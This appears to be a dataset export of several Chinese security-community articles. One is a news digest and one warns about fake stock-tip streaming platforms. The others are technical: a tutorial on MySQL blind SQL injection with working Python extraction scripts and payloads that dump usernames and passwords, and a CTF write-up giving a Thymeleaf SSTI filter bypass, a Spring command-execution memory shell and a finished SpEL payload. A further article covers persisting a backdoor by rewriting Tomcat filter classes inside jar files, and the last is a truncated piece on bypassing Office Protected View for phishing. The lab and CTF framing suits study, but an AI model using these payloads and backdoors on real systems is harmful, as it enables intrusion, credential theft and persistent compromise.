text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【知识】9月13日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
******热点概要：Strust2漏洞影响多个Cisco产品、三星发布漏洞赏金计划，最高赏金可达20万美元、【IoT】BlueBorne攻击：无需用户交互黑客即可仅通过蓝牙接管Android设备、CURL会有后门吗、如何制作一个GSM基站、ARM
exploitation for IoT、渗透测试工具备忘录** **** ****
****资讯类：**** ** ******
************
************
Strust2漏洞影响多个Cisco产品
<http://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>
【hackernews】三星发布漏洞赏金计划，最高赏金可达20万美元
<http://thehackernews.com/2017/09/samsung-bug-bounty-program.html>
**技术类：** ****
********
【IoT】BlueBorne攻击：无需用户交互黑客即可仅通过蓝牙接管Android设备（影响主流移动，桌面，IoT操作系统以及任何使用蓝牙的设备）。BlueBorne攻击可使攻击者完全接管设备，并通过受感染的设备传播恶意软件。
<https://threatpost.com/wireless-blueborne-attacks-target-billions-of-bluetooth-devices/127921/>
视频demo：<https://www.bilibili.com/video/av14413847/>
【exploit-db】tcprewrite Heap-Based Buffer Overflow
<https://www.exploit-db.com/exploits/42652/>
【exploit-db】PHP Dashboards NEW 4.4 – SQL Injection
<https://www.exploit-db.com/exploits/42654/>
【exploit-db】PHP Dashboards NEW 4.4 – Arbitrary File Read
<https://www.exploit-db.com/exploits/42653/>
Windows Event Forwarding for Network Defense
<https://medium.com/@palantir/windows-event-forwarding-for-network-defense-cb208d5ff86f>
Windows’ PsSetLoadImageNotifyRoutine Callbacks: the Good, the Bad and the
Unclear (Part 2)
<https://breakingmalware.com/documentation/windows-pssetloadimagenotifyroutine-callbacks-good-bad-unclear-part-2/>
part 1: <https://breakingmalware.com/documentation/windows-pssetloadimagenotifyroutine-callbacks-good-bad-unclear-part-1/>
Malware Analysis – Triaging Java JAR Files视频分析
<https://www.bilibili.com/video/av14414854/>
CURL会有后门吗？
<https://daniel.haxx.se/blog/2017/09/12/the-backdoor-threat/>
ARM exploitation for IoT – part 2
<https://quequero.org/2017/09/arm-exploitation-iot-episode-2/>
传送门part 1: <https://quequero.org/2017/07/arm-exploitation-iot-episode-1/>
渗透测试工具备忘录
<https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/>
Windows kernel pool spraying fun – Part 2 – More objects
<http://theevilbit.blogspot.jp/2017/09/windows-kernel-pool-spraying-fun-part-2.html>
How to hide your browser 0-days in an encrypted ninja fashion!
<https://github.com/Mrgeffitas/Ironsquirrel>
如何制作一个GSM基站
<https://n0where.net/build-gsm-base-station/>
exploitations of Uninitialized Uses on macOS Sierra
<https://www.usenix.org/system/files/conference/woot17/woot17-paper-xu.pdf> | 社区文章 |
# 直播平台里的“房间密码”，藏匿着见不得光的秘密
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，通过对虚假荐股平台的分析发现，此类诈骗存在一个共同的特征： **均要求用户通过指定的直播间听课，而部分直播间需要输入房间密码才能进入。**
## 荐股诈骗流程
**1、联系受害人**
以推荐股票为名，通过电话/短信等渠道与受害人取得联系，邀请受害人进入指定的QQ/微信股票交流群。
**2、股票导师传授荐股经验**
群里导师引导受害人 **在指定的直播平台听课，** 讲解股票等产品的走势，鼓励群里的人参与股票投资。
**3、“托家”感恩“导师”**
群里的“股民”时不时分享一些自己股票赚钱的截图，并在群聊中感谢“导师”。
**4、“导师”推荐”理财平台“**
荐股导师表示最近经济不景气，群里的人对股票的投资有亏损，给大家推荐数字货币/期货/外汇/彩票等所谓的理财平台，并引导受害人在此些平台购买理财项目。
**5、“受害人“无法提现，发现受骗**
受害人盈利后，编造各种理由，拒绝受害人在平台提现。
**总结起来就是**
**“老师”荐股——托儿叫好——给甜头诱入——割韭菜**
## 藏匿在直播平台里的秘密
在对虚假荐股诈骗分析时发现，荐股诈骗团伙授课时使用的“网课”平台与常见的直播平台不同，其存在如股票走势实时界面等独特的模块。深入分析后，发现了其关联的
**喊单系统产业链**
，即为诈骗产业提供直播平台服务的产业。这类此类直播平台/喊单系统，即有传统在线课堂的对话功能，也有传统在线直播聊天室不具备的定制化功能。
**前台（用户端）功能：**
1.虚拟在线人数，虚拟发言（用于伪造观众数量）
2.自动发言
3.在线投注，各种彩种的开奖直播
4.禁止用户私聊(防止用户间交流，识破骗局)
**管理员后台功能：**
1.发言审核，关键词自动过滤（有效对所有发言过滤）
2.设置嵌套平台投注地址
3.注册审核设置
4.每个子房间带单独后台，可以统计子房间的在线人数，会员注册人数，游客人数
5.支持助赢、领航、智能等彩票发布软件（可以理解为推算彩票的走势和中奖率）
6.增加批量导入用户注册功能，后台设置讲师投票次数
**可以理解为，借助此类直播平台，诈骗团伙既可以营造出一种万人追捧直播间的假象，用户在直播间看到观众、点评、投票等数据都是伪造出来的。又可以将虚假的理财项目对接至直播间内，快速实施诈骗。**
## 虚假直播平台在黑灰产行业的应用
研究还发现， **此类直播平台不仅仅服务于荐股诈骗，在其他黑灰产业也有其踪影。**
由于部分直播间需要输入房间密码才可进入，通过搜索相关关键词，还可以发现众多使用此类直播间的黑灰产业。如下图展示的博彩平台：
## 安全课堂
1.投资理财请选择正规机构，不要轻信网络上所谓的以“名师”指导、理财荐股等为噱头的诈骗，其本质都是利诱你大额投注后，无法提现。
2.眼见不一定为实，虚假直播平台里的动态评论、人气都可以造假，千万不能被蒙蔽双眼。综合虚假直播间在黑灰产行业被频发使用的现象，凡是带有赌博博彩性质的直播平台，要仔细甄别。 | 社区文章 |
### 0x00 前言
SQL盲注位运算在工具代码中的运用实例:
<https://github.com/xinyu2428/TDOA_RCE/blob/master/src/com/xinyu/poc/SQLInjection.java>
本篇文章主要探讨在mysql中SQL盲注如何高效的得到数据, 目前已知的几种方式有:
1.字符遍历, 常使用burp做简单验证.
2.二分法, 通过判断每一个字符的ascii码的大小来确认字符, 比前一种方式发更少的包.
3.dnslog带外注入, 另类回显, 得到数据的效率更快, 盲注的最佳选择, 但使用这种方式有个前提,
当前数据库用户权限能够使用load_file()函数.
4.位运算, 发包数量与二分法差不多, 下面会详细介绍.
...
### 0x01 位运算原理
位运算的符号有很多, 我们不需要全部了解, 在这里只介绍两个: 位左移<< 与 位右移 >>
位左移: 向左进行移位操作, 高位丢弃, 低位补 0; 左移 1 位相当于乘 2, 左移 n 位相当于乘 2 的 n 次方.
位右移: 将一个运算对象的各二进制位全部右移若干位, 正数左补0, 负数左补1, 右边多余的位数去掉; 右移 1 位相当于除 2, 右移 n 位相当于除 2
的 n 次方.
****
如上图: 2 <<1 = 4; 4>>2 = 1
我们可以直观的看出, 位左移1位效果相当于乘以2; 位右移一位效果相当于除以2.
通过ascii码表我们知道一个字符正常是占8个位的, 其中第一位表示正负, 后七位确定是哪个字符.
我们将其转换成二进制再看下
2 --> 0000 0010 位左移1位变为 0000 0100 (其中红色0是丢弃掉的高位, 绿色0是补上的低位)
4 --> 0000 0100 位右移2为变为 0000 0001 (其中红色0是丢弃掉的高位, 绿色0是补上的低位)
**到这里大家应该都明白个大概了**
**
下面再看两张图加深理解
**r 字符的ascii码为 114, 114 转换成二进制就是 01110010**
**> >1 意思就是向右位移一位, 01110010 变为 00111001**
**用电脑计算器换算下为57**
****
PS: 负数会复杂一些, 但是ascii码没有负数, 所以在这里我们只管这样理解就行
**那么问题来了, 这和SQL注入有什么关系呢?**
### 0x02 SQL注入中位运算的应用
首先我们需要知道ascii码表
每一个字符都对应有一个ascii码值, 这里我们只看二进制与十进制
比如现在有一个字符是 s , 我们如何能通过位运算来确定它呢?
**说明: 下方**** 红色表示丢弃的位 ** **,**** 绿色表示补上的位 ** **, 粗体黑表示已知的位,**** 紫色表示待确定位
****.**
首先 s 的ascii码为115, 二进制值为 01110011, 共有8个位, 它的每一位都是由 0 或 1组成
115>>7 = 0 **\-- >** 01110011>>7 = 0000000 **0**
一个八位二进制数 >> 7 只有两种结果 00000000 与 00000001 (前7个0都是位运算补上去的)
假设其等于 00000000 , 即可以确认第一位为0, 否则就为1, 只有两种结果, 即每发一个请求一定可以确认一个位
这里确定第一位为0
115>>6=1 **\-- >** 01110011>>6=000000 **0** 1 已知第一位为 **0** , 结果依然两种可能, 000000
**0** 0 或 000000 **0** 1 (0 或 1)
延迟1秒说明第二位不等于0, 只能为1, 即 **01?? ????**
115>>5=3 **\-- >** 01110011>>5=00000 **01** 1 已知前两位为 **01** , 运算结果: 00000
**01** 0 或 00000 **01** 1 (2 或 3)
延迟1秒说明第三位不等于0, 只能为1, 即 **011? ????**
115>>4=7 **\-- >** 01110011>>4=0000 **011** 1 已知前三位为 **011** , 运算结果: 0000
**011** 0 或 0000 **011** 1 (6 或 7)
延迟1秒说明第四位不等于0, 只能为1, 即 **0111 ????**
**
115>>3=14 **\-- >** 01110011>>3=000 **0111** 0 已知前四位为 **0111** , 运算结果: 000
**0111** 0 或 000 **0111** 1 (14 或 15)
无延迟说明第五位等于0, 即 **0111 0???**
**
115>>2=28 **\-- >** 01110011>>2=00 **01110** 0 已知前五位为 **01110** , 运算结果: 00
**01110** 0 或 00 **01110** 1 (28 或 29)
无延迟说明第六位等于0, 即 **0111 00??**
**
115>>1=57 **\-- >** 01110011>>1=0 **011100** 1 已知前六位为 **011100** , 运算结果: 0
**011100** 0 或 0 **011100** 1 (56 或 57)
延迟1秒说明第七位不等于0, 只能为1, 即 **0111 001?**
**
115>>0=115 **\-- >** 01110011>>0= **0111001** 1 已知前七位为 **0111001** , 运算结果:
**0111001** 0 或 **0111001** 1 (114 或 115)
延迟1秒说明第八位不等于0, 只能为1, 即 **0111 0011**
****
因为每次的运算结果都只有两种可能, 所以每发一个请求我们都能确定一个位, 即8个请求确定一个字符
在实际运用中, ascii码第一位一定是0, 所以无需判断, 可以再少发一个请求.
我们将得到的二进制数( **0111 0011** )转换成十进制( **115** )再转换成ascii码对应的字符( **s** )
此处参考链接: <https://xz.aliyun.com/t/3054>
### 0x03 编写脚本
核心代码部分如下
# -*- coding:utf-8 -*-
import requests
def bitOperation(url):
result = "" # 存储获取的查询结果
url_bak = url
# 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算
for len in range(1, 777): # 此处长度可控,也可以不做判断直接给一个很长的数字
str = '0' # 设置当前字符的ascii码二进制的第一位默认为0
for i in range(0, 7):
url = url.format(len, 6 - i, int(str + '0', 2)) # int(str + '0', 2)表示假设其第二位为0,若相等即条件为真,否则为假
r = requests.get(url)
# 以页面正常时的标识关键字作为区分,存在是为0,不存在是为1
if r.text.find("You are in") != -1:
str += '0'
else:
str += '1'
url = url_bak
# 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上
result += chr(int(str, 2))
print(result)
if int(str, 2) == 0: # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
print("已超过此次查询字符串的长度,自动停止")
return result
if int(str, 2) == 127:
print("查询内容不存在或语法错误...")
return result
return result
def main():
url = "http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))>>{}={}-- -"
bitOperation(url)
if __name__ == "__main__":
main()
运行效果图
### 0x04 二次探究
按照位运算高位补0, 低位丢弃的特性, 我有了如下猜想:
如果想要每发送一个数据包就可以判断 8位二进制ascii码 的一位, 就必须保证当前的运算结果只有0000 0000和0000 0001两种可能结果
那么可不可以通过位左移与位右移相互配合, 依次将 一个 8位二进制ascii码 的各个位移动最后一位, 其它位全部用0填充
有了猜想就需要验证, 如下为验证说明:
(黄色为本色, 蓝色为补充位, ~~删除线标记为丢弃位~~ )
字符 r 的十进制ascii码为 114, 二进制ascii码为 01110010
以 01110010 为测试数据进行运算, 结果如下
由上述测试数据, 我们可以看到
位左移<<依次可以将 8位二进制ascii码 的每一位, 分别顶到每次运算结果的第一位
但现在的结果是杂乱的, 无规律可循
接着进行位右移>>, 且固定平移7位, 此时低位丢7个位, 高位补7个0, 对应的结果就是会把 8位二进制数 的前一位全部顶到最后一位,
又因为前7位均为0, 最后一位只能为0或者1, 所以此时运算结果只有两种可能.
0000 0000 或者 0000 0001
但事实并没有这么顺利, 如下为代入数据库后真实的运算结果
select ascii('r')<<0>>7 = 0
select ascii('r')<<1>>7 = 1
select ascii('r')<<2>>7 = 3
select ascii('r')<<3>>7 = 7
select ascii('r')<<4>>7 = 14
select ascii('r')<<5>>7 = 28
select ascii('r')<<6>>7 = 57
select ascii('r')<<7>>7 = 114
可以看到, 结果并不是0或者1, 意料之外, 情理之中
查阅的一些文章资料后, 终于找到了计算结果产生冲突的原因
**在MySQL 中, 常量数字默认会以8个字节来表示, 8个字节即为64位**
也就是说, 在MySQL数据库中, 每一个 数字并不止8位, 即使很小, 也是默认占64位的空间 (还有56个看不见的0在前面占着位置)
如果是这样的话, 那么上述位运算的位数, 已经不足已将 8位二进制ascii码 的各个位顶到最后一位
但这个问题并不难解决, 我们只需将上述运算的 位左移<< 依次均增加56位, 如下图
select ascii('r')<<56>>63 = 0
select ascii('r')<<57>>63 = 1
select ascii('r')<<58>>63 = 1
select ascii('r')<<59>>63 = 1
select ascii('r')<<60>>63 = 0
select ascii('r')<<61>>63 = 0
select ascii('r')<<62>>63 = 1
select ascii('r')<<63>>63 = 0
计算结果为10进制, 但10进制的0和1与二进制的0和1是一样的, 直接拼接为 8位的二进制数: 01110010
转换成10进制为 114, 对应字符 r.
ascii码中第一位均为0, 所以发送7个数据包即可
payload如下:
# MySQL布尔盲注中, 7个数据包判断当前用户名的第一个字符
id=1' and ascii(substr((select user()),1,1))<<57>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<58>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<59>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<60>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<61>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<62>>63=0-- - id=1' and ascii(substr((select user()),1,1))<<63>>63=0-- -
# 判断第二个字符
id=1' and ascii(substr((select user()),2,1))<<57>>63=0-- - id=1' and ascii(substr((select user()),2,1))<<58>>63=0-- - id=1' and ascii(substr((select user()),2,1))<<59>>63=0-- - ...
以sqli-labs靶场第5关为例, 核心代码部分如下:
# -*- coding:utf-8 -*-
import requests
def bitOperation(url):
result = "" # 存储获取的查询结果
url_bak = url
# 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算
for len in range(1, 777): # 此处长度可控,也可以不做判断直接给一个很长的数字
str = '0' # 设置当前字符的ascii码二进制的第一位默认为0
for bit in range(57, 64):
url = url.format(len, bit) # 拼接出payload
r = requests.get(url)
# 以页面正常时的标识关键字作为区分,存在是为0,不存在是为1
if r.text.find("You are in") != -1:
str += '0'
else:
str += '1'
url = url_bak # 还原url为初识状态
# 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上
result += chr(int(str, 2))
print(result)
if int(str, 2) == 0: # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
print("已超过此次查询字符串的长度,自动停止")
return result
if int(str, 2) == 127:
print("查询内容不存在或语法错误...")
return result
return result
def main():
url = "http://192.168.238.141/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))<<{}>>63=0-- -"
bitOperation(url)
if __name__ == "__main__":
main()
脚本运行结果
由mysql执行语句监控可以看出每7个请求为一组, 判断一个字符
### 0x05 总结
在二次探究中, 请求之间不在相互依赖, 也就是说, 如果某处只能时间盲注, 我们使用 sleep(2) 函数让请求延迟2秒作为判断条件,
那么理论上我们可以使用多线程同时发多个数据包, 然后对每一个请求返回的状态进行处理, 依次拼接即可.
而二分法则必须等待前一次的判断结果被返回才能进行下一次判断. | 社区文章 |
# 概述
参加了网鼎玄武组的CTF，有道题挺有意思。这道题目给了一个压缩包，解压后有个findIT.jar 文件，然后题目里还提示了机器不出网。
主要考察了以下几个方面：
1、thymeleaf SSTI 漏洞原理
2、thymeleaf SSTI漏洞修复绕过技巧
3、Spring内存马编写
4、Apache Tomcat 9 url 包含特殊字符，例如 /、[]处理与替代
5、调试jar 文件
打开后发现这个是经典的springboot 项目，里面的IndexController还是比较清晰的。
开始以为是/path路由下的Fragment 可控下存在SPEL注入，但是用了@ResponseBody
注解，所以这里不存在漏洞。往下看/doc/{data}这个路由没有使用@ResponseBody 进行注解，因此即使没有return
情况下也是可注入的。但由于没有返回提示信息，因此这道题给了jar包让我们调试，不然难度又上一个台阶。
知道了漏洞触发点，接下来开始本地运行下看看情况。
# 一、thymeleaf SSTI 漏洞及绕过
<http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x>
发现控制台报了下面的错误， View name is an executable expression, and it is present in a
literal manner in request path or parameters, which is forbidden for security
reasons.
原来这道题的应用依赖thymeleaf 3.0.12 版本，查阅了下官方文档，这个版本做了一下安全提升，主要有以下两个方面。
尤其是第2个，描述了当从URL中获取视图名称时如果有fragment表达式会避免执行。（具体代码分析可参考@panda 师傅博客
<https://www.cnpanda.net/sec/1063.html）里面提到了2个绕过技巧，分别是/path;/payload>
和//path/payload ,这里我发现了也可以用/path/;/payload（和shiro权限绕过漏洞很相似)。因此上面的payload就变为
<http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x>
然后又抛出了新的异常
Invalid template name specification
我之前分析thymeleaf Fragment 注入的文章 <https://xz.aliyun.com/t/9826>
里有提到viewName和Fragment ，由于这道题里没有return 这两个中的任何一个，所以我们要补全Fragment—即：
**${T(java.lang.Runtime).getRuntime().exec("id")}** ::main.x
这回又又报了新的错误
因此涉及到T这个关键字绕过，参考了三梦师傅提的issue(<https://github.com/thymeleaf/thymeleaf-spring/issues/256>) ,在T后面添加空格%20。因此新的paylaod 就变成了
<http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x>
页面上虽然显示500 错误但从console 打印的日志可以看出来的确已经执行成功了。
由于页面上没有展示错误详细信息，也无法将命令执行结果写入静态资源文件，并且机器不出网，所以只能考虑在应用上注入内存回显马，读取flag回显结果。
# 二、Spring通用回显内存马改造
这里参考了 spring-cloud-function 的一些memshell的payload。参考了 LandGrey 师傅的文章
<https://www.anquanke.com/post/id/198886> 使用registerMapping注册了一个
requestMapping，参考c0ny1 师傅的文章<https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions> 里面的
SpringRequestMappingMemshell 代码，但由于这道题里面并没有用Spring cloud gateway
组件，所以原代码中利用org.springframework.web.reactive.HandlerMapping
来注册registerHandlerMethod就会报错找不到对应的类，于是改造了下SpringRequestMappingMemshell代码来适配最基础通用的Spring
Memshell。
使用registerMapping 注册路径为"/*"的RequestMapping，看下registerMapping 的原型函数
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
因此只要把我们编写的恶意方法executeCommand注册进去就可以了。
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new
SpringRequestMappingMemshell(), executeCommand);
最后改造后的代码如下：
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
}catch (Exception e){
e.printStackTrace();
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
# 三、利用SPEL 漏洞加载加载上面的恶意类
这部分参考LandGrey
师傅的技巧，使用org.springframework.cglib.core.ReflectUtils#defineClass方法，只要传入
类名、类的字节码字节数组 和 类加载器就可以加载恶意类。
SpringRequestMappingMemshell#doInject() 方法需要传入bean
对象，注意每个T后面都有空格（为了绕过上一步中的T关键字检查）。
T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
等效于下面的代码
WebApplicationContext context = (WebApplicationContext) org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
//这里为什么用decodeFromUrlSafeString 下面会写到
T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))
# 四、Apache Tomcat 9 url 包含特殊字符处理与替代技巧
上一步中虽然已经写出了比较完整的payload，但是发现依然不能直接使用。这是因为题目里上述的payload
是在请求的路径上（/doc/payload)，当包含了一些特殊字符后会发现tomcat 会报400错误和404错误。
404错误：payload 里包含了/ ，tomcat 会认为这是一个路径关键字，会找对应的路由，找不到就会报404。
若强制给编码成%2F会报400错误
由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符，因此要使用
**org.springframework.util.Base64Utils.encodeToUrlSafeString**
先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用
**org.springframework.util.Base64Utils.decodeFromUrlSafeString** 进行解码操作。
* * *
400：payload 中包含[ ] 特殊字符,需要URL编码一下-> %5B和%5D
另外payload 里面的java.net.URL[0]
也可以用java.net.URL("http","127.0.0.1","1.txt")进行替代，这个随便写就行不影响。
# 五、thymeleaf 过滤new 关键字处理
通过前面四步已经是比较完整的payload 了，但是还是继续报Invalid template name specification
错误，通过调试jar后最终发现还是thymeleaf 3.0.12 containsSpELInstantiationOrStatic
这个函数进行了过滤所导致的，让你不能使用new 这个关键字。因此我使用了NeW 大小写进行了绕过。
# 六、成品
__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
页面上虽然还是显示500错误，但从控制台上是可以看出已经注入成功了。注入成功后会有"inject-success"这个字符串，注入失败会是 "inject-error"。
然后浏览器上请求任意不存在的路径
# 七、总结
网鼎的这道题小巧而不简单，考察的知识点还是挺多的。我又要要去学习Java 了～ | 社区文章 |
## 起因
看到4ra1n师傅公开的一种特殊内存马，这种方法跟今年自己用到的一种Java持久化马有着异曲同工之妙，不过师傅搞的有点复杂了，并不需要重打包jar，只需要修改jar包中的关键class文件，Java提供了相关api类(JarFile)去实现相关的功能
而在jvm运行期间我们是能够对jar文件进行修改的，只是不能删除tomcat相关依赖包（猜测4ra1n师傅应该想的是删除相关jar包，再上传自己的jar包）而其他依赖包，例如shiro-web等等时可以删除并修改的(测试环境：shiroWeb,几个本地项目环境)
## 相关实现
我们以tomcat8.5.65 进行测试，其他中间件只要定位需要修改的类和jar路径即可，大同小异
这里我们希望实现修改任何的filter，插入我们的恶意代码。
首先我们先扫描出所有的filter，这里参考 **c0ny1** 师傅的tomcat-memshell-scanner.jsp 就不贴代码了
这里有我们需要修改的jar文件绝对路径，而需要修改的class需要我们向父类查找doFilter方法,代码如下，className是我们扫描出的filterName，methodName是dofilter
public static Object getTrueMethod(String className, String methodName,Class...param) throws ClassNotFoundException {
if(className != null) {
Method method = null;
Class clazz = Class.forName(className);
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, param);
return clazz;
} catch (Exception e) {
}
clazz = clazz.getSuperclass();
}
}
return null;
}
得到我们需要修改的类后，借助javaassist，添加我们的恶意代码，而在类似tomcat这样的中间件下使用javaassist时，ClassPool必须添加如下代码，否则可能出现相关类找不到
ClassClassPath classPath = new ClassClassPath(this.getClass());
classPool.insertClassPath(classPath);
clazz = (Class) getTrueMethod(className, methodName, new Class[]
这里恶意代码使用打印字符串展示，各位师傅可自行构造恶意代码，完整代码如下
public void doInject() throws ClassNotFoundException {
Class clazz = null;
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(this.getClass());
classPool.insertClassPath(classPath);
clazz = (Class) getTrueMethod(className, methodName, new Class[]{ServletRequest.class, ServletResponse.class, FilterChain.class});
try {
CtClass CtServletRequest = classPool.get(ServletRequest.class.getName());
CtClass CtServletResponse = classPool.get(ServletResponse.class.getName());
CtClass CtFilterChain = classPool.get(FilterChain.class.getName());
String className = clazz.getName();
CtClass cc = classPool.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter",new CtClass[]{CtServletRequest,CtServletResponse,CtFilterChain});
m.insertBefore("System.out.println(\"test by change inject!!!!\");");
updateJar(jarName,className.replaceAll("\\.","/")+".class",cc.toBytecode());
}catch (Exception e){
e.printStackTrace();
}
}
而如果目标服务器没有相关javaassist环境，师傅们可利用热加载jar包添加环境再进行注入，或者手动编译相关class文件，再插入到相关jar文件中
得到恶意类后，我们借助jarFile修改相关jar文件，插入我们的恶意代码，并不需要停止tomcat，代码如下
public static byte[] readStream(InputStream inStream) throws Exception {
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = inStream.read(buffer)) != -1) {
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
public static void writeJarFile(String jarFilePath,String entryName,byte[] data) throws Exception{
JarFile jarFile = new JarFile(jarFilePath);
TreeMap tm = new TreeMap();
Enumeration es = jarFile.entries();
while(es.hasMoreElements()){
JarEntry je = (JarEntry)es.nextElement();
byte[] b = readStream(jarFile.getInputStream(je));
tm.put(je.getName(),b);
}
JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
Iterator it = tm.entrySet().iterator();
boolean has = false;
while(it.hasNext()){
Map.Entry item = (Map.Entry) it.next();
String name = (String)item.getKey();
JarEntry entry = new JarEntry(name);
jos.putNextEntry(entry);
byte[] temp ;
if(name.equals(entryName)){
temp = data;
has = true ;
}else{
temp = (byte[])item.getValue();
}
jos.write(temp, 0, temp.length);
}
if(!has){
JarEntry newEntry = new JarEntry(entryName);
jos.putNextEntry(newEntry);
jos.write(data, 0, data.length);
}
jos.finish();
jos.close();
}
至此完成对相关jar文件的修改，目标服务器重启后即可生效
## 案例
拿shiro举个例
本地环境某远 测试
## 总结
持久化内存马，应该属于后渗透，推荐各位师傅集成到冰蝎，哥斯拉这种webshell管理工具食用为佳
此方法并不仅仅局限于filter。listener，servlet，同样可以修改。
虽然jvm并不支持重新加载class文件，但是我们可以利用agent动态修改class，即使服务器不重启也可使我们的恶意filter生效，agent内存马已有大量师傅的优秀文章，不在此展开
没有细看tomcat加载的源码，不过4ra1n师傅这种方式是否可以给脚本文件不解析的任意文件上传漏洞带来一线生机？springboot打包成jar可能机会很小，其他环境未尝不可，膜拜下4ra1n师傅的骚思路 | 社区文章 |
# 【技术分享】如何绕过受保护视图发起钓鱼攻击
|
##### 译文声明
本文是翻译文章，文章来源：specterops.io
原文地址：<https://posts.specterops.io/phishing-against-protected-view-enigma0x3-on-wordpress-com-eed399fca512>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
微软Office中有个名为[ **受保护的视图（Protected View）**](https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653)
的安全功能，如果Office文档来自于互联网，那么该功能会以受限方式打开该文档。这个功能的目的是限制可运行的Office组件，以防止攻击者自动利用诸如
**OLE** 、 **Flash** 以及 **ActiveX**
